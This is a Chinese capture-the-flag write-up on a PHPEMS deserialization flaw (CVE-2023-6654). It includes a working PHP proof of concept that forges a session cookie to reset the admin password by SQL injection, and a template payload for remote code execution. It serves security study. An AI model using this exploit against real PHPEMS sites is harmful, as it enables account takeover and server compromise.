西湖论剑2024初赛 数据安全 Cyan-1
题目是PHPEMS的无POC 1day,给了提示:CVE-2023-6654
PHPEMS 6.x/7.0的lib/session.cls.php组件中存在一个未知功能的关键性漏洞,该漏洞导致反序列化。攻击者可以远程发起攻击,并且已经向公众披露了利用该漏洞的攻击代码。该漏洞被赋予了标识符VDB-247357。
Unserialize
session.cls.php会对用户的每一次请求的cookie解码:
// session.cls.php
public function getSessionId()
{
if(!$this->sessionid)
{
$cookie = $this->strings->decode($this->ev->getCookie($this->sessionname));
if($cookie)
{
$this->sessionid = $cookie['sessionid'];
}
}
// ...
}
string.cls.php#encode:对称解密info并反序列化
public function decode($info)
{
$key = CS;// 在config.inc.php设置了默认值
$info = urldecode($info);
$kl = strlen($key);
$il = strlen($info);
for($i = 0; $i < $il; $i++)
{
$p = $i%$kl;
$info[$i] = chr(ord($info[$i])-ord($key[$p]));
}
$info = unserialize($info);
return $info;
}
POP chain
一条可用的update注入的链:
session#destruct -> pepdo#exec
需要注意在编写POC的时候,session最好不要用\PHPEMS\ginkgo::make('session');
创建,否则会导致无法序列化。
POC:
<?php
namespace PHPEMS;
error_reporting(E_ALL);
define('PEPATH', dirname(dirname(__FILE__) . '\\phpems'));
require_once "lib/init.cls.php";
require_once 'lib/config.inc.php';
class session
{
public $G;
public $sessionname = 'currentuser';
public $sessionuser = false;
public $sessionid;
public $data;
}
$pdosql = \PHPEMS\ginkgo::make('pdosql');
$pdosql->tablepre = "x2_user set userpassword = 'e10adc3949ba59abbe56e057f20f883e' where username = 'peadmin'#";
$session = new \PHPEMS\session();
$session->db = \PHPEMS\ginkgo::make("pepdo");
$session->pdosql = $pdosql;
$cookie = array('sessionid' => 0, $session);
$strings = \PHPEMS\ginkgo::make('strings');
$current_user = urlencode($strings->encode($cookie));
echo $current_user;
设置请求cookie的exam_currentuser字段即可修改管理员密码为123456
RCE
参考
但是题目的版本进行了修复
api.cls.php
elseif($block['blocktype'] == 4)
{
$tp = $this->tpl->fetchContent(html_entity_decode($this->ev->stripSlashes($block['blockcontent']['content'])));
eval(' ?>'.$tp.'<?php
namespace PHPEMS; ');
}
这里用namespace结尾,由于php中namespace必须在开头,直接写的话会报错。再用一个namespace绕过即可
在http://127.0.0.1:8077/index.php?content-master-blocks
把注册协议类型改为模板模式,然后修改内容为
<?php namespace T;system("whoami");?>
点击注册页面即执行代码。